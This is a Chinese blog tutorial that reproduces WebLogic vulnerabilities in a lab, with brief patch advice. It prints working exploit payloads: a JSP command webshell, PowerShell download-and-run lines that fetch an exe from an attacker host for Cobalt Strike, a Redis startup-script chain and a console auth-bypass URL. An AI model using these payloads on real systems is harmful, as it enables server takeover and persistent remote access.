weblogic中间件漏洞汇总

已于 2023-01-13 11:34:24 修改
阅读量9.2k 收藏 15
点赞数 5
分类专栏： 渗透 文章标签： web安全 中间件
于 2021-11-24 20:22:47 首次发布
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/xd_2021/article/details/121502064
版权
本文详细介绍了Oracle WebLogic Server的反序列化漏洞、SSRF、未授权访问和War后门文件部署等安全问题，包括漏洞原理、影响范围、复现步骤及防御措施。例如，CVE-2017-10271和CVE-2019-2725涉及的反序列化漏洞，以及CVE-2014-4210的SSRF漏洞，提醒用户及时打补丁并加强系统安全配置。
摘要由CSDN通过智能技术生成

目录

一、weblogic是什么？

WebLogic是美国Oracle公司出品的一个application server，确切的说是一个基于JAVAEE架构的中间件，WebLogic是用于开发、集成、部署和管理大型分布式Web应用、网络应用和数据库应用的Java应用服务器。将Java的动态功能和Java Enterprise标准的安全性引入大型网络应用的开发、集成、部署和管理之中。

二、安装环境

各位看官下载请认准这个站：https://www.oracle.com/cn/middleware/technologies/weblogic/wls-main.html

1、下载weblogic

有以下两个可进行选择，硬件好的可以下第一个，我就选个小的就好，两个都可以复现
在这里插入图片描述

2、安装（其实就是点点点啦）

下载好后打开exe，我把需要选择的地方全部截出来了

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
启动的话，安装结束后可直接勾选服务器，或者执行Oracle\Middleware\user_projects\domains\base_domain下的startWebLogic.cmd
在这里插入图片描述
在这里插入图片描述
在中红框位置输入你安装时候的用户和口令
在这里插入图片描述
等一小会，访问http://192.168.50.167:7001/console,你就可以看到如下页面，那就恭喜你安装完成了
在这里插入图片描述

三、反序列化漏洞

1、XMLDecoder（CVE-2017-10271

漏洞原理
Weblogic的WLS Security组件对外提供webservice服务，其中使用了XMLDecoder来解析用户传入的XML数据，在解析的过程中出现反序列化漏洞，导致可执行任意命令。
漏洞影响

10.3.6.0
12.1.3.0.0
12.2.1.1.0

漏洞验证
访问 /wls-wsat/CoordinatorPortType ，出现如下图所示的回显时，说明存在该漏洞；在wls-wsat包中，web.xml文件里的url均受影响
在这里插入图片描述
Oracle\Middleware\user_projects\domains\base_domain\servers\AdminServer\tmp_WL_internal\wls-wsat\54p17w\war\WEB-INF\web.xml
在这里插入图片描述

/wls-wsat/CoordinatorPortType
/wls-wsat/RegistrationPortTypeRPC
/wls-wsat/ParticipantPortType
/wls-wsat/RegistrationRequesterPortType
/wls-wsat/CoordinatorPortType11
/wls-wsat/RegistrationPortTypeRPC11
/wls-wsat/ParticipantPortType11
/wls-wsat/RegistrationRequesterPortType11

漏洞复现
burp抓包，改包（包头得加上Content-type：text/xml）
第一个字符串为文件相对路径和创建的文件名，第二个字符串为文件内容

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
	 <soapenv:Header>
 		<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
			 <java><java version="1.4.0" class="java.beans.XMLDecoder">
 				<object class="java.io.PrintWriter"> 
				 <string>servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/1.txt</string>
 					<void method="println">
				 <string>
				 	123123123
				 </string>
 			</void>
			 <void method="close"/>
 		</object></java></java>
 	</work:WorkContext>
 	</soapenv:Header>
 	<soapenv:Body/>
</soapenv:Envelope>

在这里插入图片描述
发包后进行访问http://192.168.50.167:7001/bea_wls_internal/1.txt,发现写的内容已经上去了
在这里插入图片描述
改成一句话木马(由于<和&在xml是非法的，所以得加上<![CDATA[ ]]>)

<% if("023".equals(request.getParameter("pwd"))){ java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream(); int a = -1; byte[] b = new byte[2048]; out.print("<pre>"); while((a=in.read(b))!=-1){ out.println(new String(b)); } out.print("</pre>"); } %>

在这里插入图片描述
访问/xd1.jsp?pwd=023&i=whoami
在这里插入图片描述
防御
打官网补丁

2、XMLDecoder （CVE-2017-3506

漏洞原理
cve-2017-3506与10271他们的漏洞原理是一样的,只不过10271绕过了3506的补丁，CVE-2017-3506的补丁加了验证函数，验证Payload中的节点是否存在object Tag
漏洞影响

10.3.6.0
12.1.3.0
12.2.1.0
12.2.1.1
12.2.1.2

漏洞复现
写cmd命令执行
在这里插入图片描述
写好后访问/xd3.jsp
在这里插入图片描述
再看容器发现计算器弹出来了
在这里插入图片描述
防御
打官网补丁

3、wls-wsat远程代码执行（CVE-2019-2725

漏洞原理
此漏洞实际上是CVE-2017-10271的又一入口，CVE-2017-3506的补丁过滤了object；CVE-2017-10271的补丁过滤了new，method标签，且void后面只能跟index，array后面只能跟byte类型的class；CVE-2019-2725的补丁过滤了class，限制了array标签中的byte长度。
影响组件

bea_wls9_async_response.war
wsat.war

漏洞影响

10.3.x
12.1.3

漏洞验证
访问 /_async/AsyncResponseService（/wls-wsat），返回200则存在
在这里插入图片描述
_async(Oracle\Middleware\user_projects\domains\base_domain\servers\AdminServer\tmp_WL_internal\bea_wls9_async_response\8tpkys\war\WEB-INF\web.xml)
在这里插入图片描述

/_async/AsyncResponseServiceHttps
/_async/AsyncResponseServiceJms
/_async/AsyncResponseService
/_async/AsyncResponseServiceSoap12Jms
/_async/AsyncResponseServiceSoap12
/_async/AsyncResponseServiceSoap12Https

wls-wsat(Oracle\Middleware\user_projects\domains\base_domain\servers\AdminServer\tmp_WL_internal\wls-wsat\54p17w\war\WEB-INF\web.xml)
在这里插入图片描述

/wls-wsat/CoordinatorPortType
/wls-wsat/RegistrationPortTypeRPC
/wls-wsat/ParticipantPortType
/wls-wsat/RegistrationRequesterPortType
/wls-wsat/CoordinatorPortType11
/wls-wsat/RegistrationPortTypeRPC11
/wls-wsat/ParticipantPortType11
/wls-wsat/RegistrationRequesterPortType11

漏洞复现

win上线cs

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing"  xmlns:asy="http://www.bea.com/async/AsyncResponseService" >
	<soapenv:Header>
		<wsa:Action>xx</wsa:Action>
		<wsa:RelatesTo>xx</wsa:RelatesTo>
		<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
		<void class="java.lang.ProcessBuilder">
		<array class="java.lang.String" length="3">
			<void index="0">
				<string>powershell</string>
			</void>
			<void index="1">
				<string>-Command</string>
			</void>
			<void index="2">
				<string>(new-object System.Net.WebClient).DownloadFile('http://192.168.50.72:12345/xd.exe','xd.exe');start-process xd.exe</string>
			</void>
		</array>
		<void method="start"/></void>
		</work:WorkContext>
	</soapenv:Header><soapenv:Body>
<asy:onAsyncDelivery/>
</soapenv:Body></soapenv:Envelope>

在这里插入图片描述
在这里插入图片描述

防御

  1. 打官方补丁
  2. 升级本地jdk环境

4、T3协议命令执行（CVE-2018-2628

漏洞原理
远程攻击者可利用该漏洞在未授权的情况下发送攻击数据，通过T3协议（EJB支持远程访问，且支持多种协议。这是Web Container和EJB Container的主要区别）在Weblogic Server中执行反序列化操作，利用RMI（远程方法调用） 机制的缺陷，通过 JRMP 协议（Java Remote Messaging Protocol：java远程消息交换协议）达到执行任意反序列化 payload 的目的。
漏洞影响

10.3.6.0
12.1.3.0
12.2.1.1
12.2.1.2

漏洞验证
poc、exp：https://github.com/jas502n/CVE-2018-2628
python CVE-2018-2628-poc.py 192.168.50.167 7001(py2)
当出现红框内容说明存在
在这里插入图片描述

漏洞复现
我改了下目录，所以跑出来的链接可能与我不同，但是你没错
在这里插入图片描述
在这里插入图片描述
防御
过滤T3协议,选择安全->筛选器，填入，最后保存重启即可

weblogic.security.net.ConnectionFilterImpl

在这里插入图片描述

5、 IIOP（CVE-2020-2551

漏洞原理
2020年1月15日，Oracle官方发布2020年1月关键补丁更新公告CPU（CriticalPatch Update），其中CVE-2020-2551的漏洞，漏洞等级为高危，CVVS评分为9.8分，漏洞利用难度低。IIOP反序列化漏洞影响的协议为IIOP协议，该漏洞是由于调用远程对象的实现存在缺陷，导致序列化对象可以任意构造，在使用之前未经安全检查，攻击者可以通过 IIOP 协议远程访问 Weblogic Server 服务器上的远程接口，传入恶意数据，从而获取服务器权限并在未授权情况下远程执行任意代码.
漏洞影响

10.3.6.0
12.1.3.0
12.2.1.3
12.2.1.4

漏洞复现
反序列化工具：https://github.com/RandomRobbieBF/marshalsec-jar
exp：https://github.com/Y4er/CVE-2020-2551
需要jdk1.8的环境编译下面这个文件exp.java,生成exp.class,在这个目录下启动python简易web服务，并启动marshalsec

import java.io.IOException;
public class exp {
	static{
		try{
			java.lang.Runtime.getRuntime().exec("powershell -c (new-object System.Net.WebClient).DownloadFile('http://192.168.50.129/xd','1')");
		} catch (IOException e) {
			e.printStackTrace();
		}
	}
	public static void main(String[] args){
	}
}

在这里插入图片描述
都启动后运行exp程序

java -jar weblogic_CVE_2020_2551.jar 192.168.50.167 7001 rmi://192.168.50.129:12345/exp
在这里插入图片描述

防御
打官方补丁

四、SSRF

1、SSRF（CVE-2014-4210

漏洞原理
Oracle WebLogic Web Server既可以被外部主机访问，同时也允许访问内部主机。比如有一个jsp页面SearchPublicReqistries.jsp，我们可以利用它进行攻击，未经授权通过weblogic server连接任意主机的任意TCP 端口，可以能冗长的响应来推断在此端口上是否有服务在监听此端口，进而攻击内网中redis、fastcgi等
漏洞影响

10.0.2.0
10.3.6.0

漏洞验证
访问该路径存在则说明有漏洞 /uddiexplorer/SearchPublicRegistries.jsp
在这里插入图片描述
漏洞复现
burp抓包，修改operator为http://127.0.0.1:7001/

An error has occurred
weblogic.uddi.client.structures.exception.XML_SoapException: The server at http://127.0.0.1:7001 returned a 404 error code (Not Found). Please ensure that your URL is correct, and the web service has deployed without error.

在这里插入图片描述
换一个未开放端口（7002）

An error has occurred
weblogic.uddi.client.structures.exception.XML_SoapException: Tried all: '1' addresses, but could not connect over HTTP to server: '127.0.0.1', port: '7002'

在这里插入图片描述

2. SSRF联动Redis

漏洞复现
payload

http://192.168.50.136:6379/x
set 1 “\r\n\r\necho invoke-expression((new-object net.webclient).downloadstring(‘http://192.168.50.129:80/a’)) | powershell -\r\n\r\n”
config set dir ‘C:\Users\Xd\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup’
config set dbfilename xd.bat
save
d

在这里插入图片描述
在这里插入图片描述
内网主机重启上线cs
在这里插入图片描述

3、防御

升级版本

五、未授权访问

1、Web Service Test Page（CVE-2018-2894

漏洞原理
Weblogic Web Service Test Page中有两个未授权页面，可以上传任意文件。但是有一定的限制，该页面在开发模式下存在，在生产模式下默认不开启，如果是生产模式，需要登陆后台进行勾选启动web服务测试页
在这里插入图片描述

漏洞影响

10.3.6
12.1.3
12.2.1.2
12.2.1.3

漏洞验证
访问

/ws_utc/config.do
/ws_utc/begin.do

漏洞复现

  1. /ws_utc/config.do
    默认 Work Home Dir目录无法执行webshell，所以更换一个可以执行的目录
    C:\Oracle\Middleware\Oracle_Home\user_projects\domains\base_domain\servers\AdminServer\tmp_WL_internal\bea_wls_internal\9j4dqk\war
    在这里插入图片描述
    点击左边安全，然后添加
    在这里插入图片描述
    查看文件时间戳
    在这里插入图片描述
    上传文件在bea_wls_internal的war包config/keystore/{时间戳}_{文件名}
    在这里插入图片描述

  2. /ws_utc/begin.do
    该页面默认工作目录和上面设置的默认工作目录是一样的
    在这里插入图片描述
    String dirName = “RS_Upload_” + df.format(new Date());
    /upload/RS_Upload_(当前时间到毫秒)/import_file_name_{文件名}
    bea_wls_internal/upload/RS_Upload_2021-11-24_14-30-12_307/import_file_name_1.jsp
    在这里插入图片描述
    在这里插入图片描述

防御

  1. 启动生产模式后Config.do页面登录授权后才可访问
  2. 升级到最新版本

2、Console HTTP协议远程代码执行（CVE-2020-14882/CVE-2020-14883

漏洞原理
CVE-2020-14883：允许未授权的用户通过目录穿越结合双重URL编码的方式来绕过管理控制台的权限验证访问后台。
CVE-2020-14882：允许后台任意用户通过HTTP协议执行任意命令。
漏洞影响

10.3.6.0
12.1.3.0
12.2.1.3
12.2.1.4
14.1.1.0

漏洞复现
CVE-2020-14883: 权限绕过漏洞的poc：
/console/images/%252E%252E%252Fconsole.portal?_nfpb=true&_pageLabel=AppDeploymentsControlPage&handle=com.bea.console.handles.JMXHandle%28%22com.bea%3AName%3Dbase_domain%2CType%3DDomain%22%29
在这里插入图片描述
CVE-2020-14882用到的恶意类
com.tangosol.coherence.mvel2.sh.ShellSession（Weblogic 12.2.1以上版本才能利用
com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext（通杀
FileSystemXmlApplicationContext类原理：该类会远程加载目标服务器上的XML文件并进行解析，其中可以指定解析的Bean为ProcessBuilder类及其start()函数、构造函数参数为恶意命令，进而实现RCE。

利用py启动一个简易的web服务
在这里插入图片描述
让其访问该web服务中不存在的文件
在这里插入图片描述
发现服务器对我web服务发起请求
在这里插入图片描述
于是制作cs马

<beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
  <bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
    <constructor-arg>
      <list>
        <value>powershell</value>
        <value>-command</value>
        <value>(new-object System.Net.WebClient).DownloadFile('http://192.168.50.129:12345/xd.exe','xd.exe');start-process xd.exe</value>
      </list>
    </constructor-arg>
  </bean>
</beans>

在pyload目录下启动一个端口的py web服务，并把cs的exe文件放在该目录下，等待目标请求
在这里插入图片描述

六、War后门文件部署

1、后台弱口令getshell

漏洞原理
后台存在弱口令或默认用户名/口令

漏洞复现
点击部署->安装
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

防御
修改强口令

大家可以关注菜鸡的公众号，有什么好想法也可以让我学习一下，有什么问题可以一块解决，由于二维码违规，下面是base64编码的文字

5b6u5L+h5YWs5LyX5Y+34oCc5a6J5YWo5re35a2Q4oCd77yM5Y+v5Lul55So5b6u5L+h5pCc5LiA5pCc77yM5q2j5Zyo5a6M5ZaE5LitLi4uLi4u

安全混子
关注
专栏目录
[渗透测试笔记] 56.日薪2k的蓝队hw中级定级必备笔记系列篇4之面试必备web中间件漏洞汇总
H4ppyD0g的博客
04-18 727
如果请求中包含Range头，Nginx会根据指定的start和end位置，返回指定长度的内容。假设静态文件存储在/home/目录下，而该目录在url中名字为files，那么就需要用alias设置目录的别名，url上/files没有加后缀/，而alias设置的/home/是有后缀/的，所以我们访问**/files…[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-k7zoauKe-1681796686186)(images/a%20(2)]-16494699626843.png)
weblogic漏洞
scu_hacker博客
01-17 4251
目录 前言 一、任意文件上传 1.1影响范围 1.2 漏洞详情 二、弱口令+后台war包 三、ssrf漏洞 3.1影响范围 3.2 漏洞详情 四、反序列化漏洞 总结 前言 weblogic是用于开发、集成、部署和管理大型分布式Web应用、网络应用和数据库应用的Java应用服务器，本文介绍常见的几个weblogic漏洞原理、复现。 一、任意文件上传 1.1影响范围 weblogic 10.3.6.0 weblogic 12.1.3.0 weblogic 12.2.1.2 .
介绍一些 Weblogic 常见的漏洞
CSDN大数据
05-24 877
介绍 Weblogic 常见的漏洞，其中包括：弱口令、Java 反序列化、XMLdecoder 反序列化、SSRF 漏洞、任意文件上传，并根据其漏洞，使用 Docker+...
WebLogic常见的几种漏洞
最新发布
a96482的博客
08-10 1620
该漏洞存在于wls9-async组件，该组件为异步通讯服务，攻击者可以在/_async/AsyncResponseService路径下传入恶意的xml格式的数据，传入的数据在服务器端反序列化时，执行其中的恶意代码，实现远程命令执行，攻击者可以进而获得整台服务器的权限。这里我们需要访问一个任意上传jsp文件漏洞功能点的目录位置，扫描目录的时候没有扫出来，但是你上网搜素这个CVE-2018-2894都是可以找到这个目录名字的，/ws_utc/config.do（未授权访问。
weblogic-SSRF
anna11119的博客
07-26 675
https://github.com/vulhub/vulhub/tree/master/weblogic/ssrf Weblogic SSRF漏洞 Weblogic中存在一个SSRF漏洞，利用该漏洞可以发送任意HTTP请求，进而攻击内网中redis、fastcgi等脆弱组件。 测试环境搭建 编译及启动测试环境 docker-compose build docker-comp...
[新闻]BEA的Weblogic SP4 SSL存在漏洞
David.turing's Security Blog
03-08 154
据官方最新Security Advisories and Notifications报告(BEA06-118.00)显示：WeblogicServer的SSL身份信息会被恶意Application盗用。威胁程度：低严重程度：中等WeblogicServer的SSL配置分两部分，第一部分是Identtiy Keystore,第二部分是Trust Keystore,BEA06-118.00揭示，当We...
Weblogic 常见漏洞汇总
热门推荐
box
04-20 1万+
WebLogic是美国Oracle公司出品的一个application server，确切的说是一个基于JAVAEE架构的中间件，WebLogic是用于开发、集成、部署和管理大型分布式Web应用、网络应用和数据库应用的Java应用服务器。将Java的动态功能和Java Enterprise标准的安全性引入大型网络应用的开发、集成、部署和管理之中。 WebLogic XMLDecoder反序列化漏洞（CVE-2017-3506） 0x00 漏洞描述 网上爆出weblogic的WLS组件存在xmldecoder
中间件漏洞及修复汇总
专注企业信息安全－sec
11-23 1204
  仅供参考     Nginx文件解析漏洞 漏洞等级：高危 漏洞描述： nginx文件解析漏洞产生的原因是网站中间键版本过低，可将任意文件当作php可执行文件来执行，可导致攻击者执行恶意代码来控制服务器。 漏洞危害： 机密数据被窃取； 核心业务数据被篡改； 网页被篡改； 数据库所在服务器被攻击变为傀儡主机，导致局域网(内网)被入侵。 修复方案： 升级中间件版本 ...
weblogic常见漏洞
javagty6778的博客
02-19 329
Weblogic 开启了 Web Service Test Page(web服务测试页面)，这个配置默认在生产模式下是不开启的，由于管理员没注意开启了这个页面就可能造成任意文件上传。影响版本cve-2020-14882(代码执行漏洞) ，在打完补丁后又出现了补丁被绕过的漏洞 cve-2020-14883(权限绕过漏洞)，远程攻击者可以配合这两个漏洞构造特殊的HTTP请求，在未经身份认证的情况下接管 Weblogic Server Console，在控制台中执行任意代码。
任意文件下载漏洞
L_lemo004的博客
09-22 4564
文章目录任意文件下载0x01 漏洞介绍0x02 漏洞产生原因0x03 漏洞发现Google search一般链接形式包含参数利用方法WEB-INF0x04 漏洞绕过0x05 漏洞利用常见利用文件路径WindowsLinux0x06 漏洞判断0x07 漏洞验证0x08 漏洞防护通用文件下载漏洞修复0x09 文件路径汇总任意文件读取漏洞漏洞产生原因任意文件读取文件读取函数漏洞验证任意文件读取验证 任意文件下载 0x01 漏洞介绍 一些网站由于业务需求，往往需要提供文件查看或文件下载功能，但若对用户
护网行动面试题目汇总
记录并分享学习安全的知识点..
03-16 1万+
护网行动面试题目汇总 名称 描述 水泽 信息收集自动化工具 Masscan 端口扫描工具 subDomainsBrute 子域名收集工具 水泽 信息手机自动化工具 FOFA 网络空间资产检索 Goby 攻击面测绘工具 二、描述一下外围打点的基本流程？ ...
WebLogic WLS远程执行漏洞(CVE-2017-10271)验证
12-18
一段小代码，WebLogic WLS远程执行漏洞(CVE-2017-10271)验证。
weblogic漏洞检测集合工具
11-17
weblogic漏洞检测集合工具支持一键检测多个weblogic漏洞weblogic漏洞检测集合工具支持一键检测多个weblogic漏洞
Weblogic XML反序列化漏洞CVE-2017-10271
04-16
Weblogic XML反序列化漏洞CVE-2017-1027
webLogic漏洞目录
simonnews的博客
04-21 564
WebLogic漏洞复现与分析 1：webLogic漏洞列表 控制台路径泄露 Weakpassword SSRF： CVE-2014-4210 JAVA反序列化： CVE-2015-4852 CVE-2016-0638 CVE-2016-3510 CVE-2017-3248 CVE-2018-2628 CVE-2018-2893 任意文件上传 CVE-2018-2894 XMLDecoder反序列...
Weblogic常见漏洞详解
m0_64481831的博客
03-01 3789
Weblogic 是一个基于JavaEE架构的中间件，是用于开发、集成、部署和管理大型分布式为Web应用、网络应用和数据库应用的Java应用服务器。Weblogic由纯Java开发，被广泛应用于开发、部署和运行Java应用等适用于本地环境和云环境的企业应用。所以，Weblogic在面试当中被提到频率还蛮高的。这篇文章以vulhub靶场为辅。Weblogic中间件常见漏洞文章讲了任意文件读取和弱口令登录、未授权访问后台和HTTP请求远程代码执行、SSRF利用、XMLDecoder反序列化漏洞。
[Java安全]—weblogic常见漏洞
Sentiment的博客
07-11 3495
本来想跟一些T3反序列化的，奈何本地环境怎么都起不起来先复现一下常见漏洞吧。。。Weblogic是美国Oracle公司出品的一个应用服务器(application server)，确切的说是一个基于Java EE架构的中间件，是用于开发、集成、部署和管理大型分布式Web应用、网络应用和 数据库应用的Java应用服务器。Vulhub - Docker-Compose file for vulnerability environment 启动环境后访问，进入后台弱口令直接登录weblogic常用弱口令： htt
Weblogic漏洞
周星星的博客
09-05 2493
中间件漏洞，weblogic漏洞初步学习，后续继续复现相关漏洞
评论 2
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

安全混子

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付：¥1
获取中
扫码支付

您的余额不足，请更换扫码支付或充值

打赏作者

实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值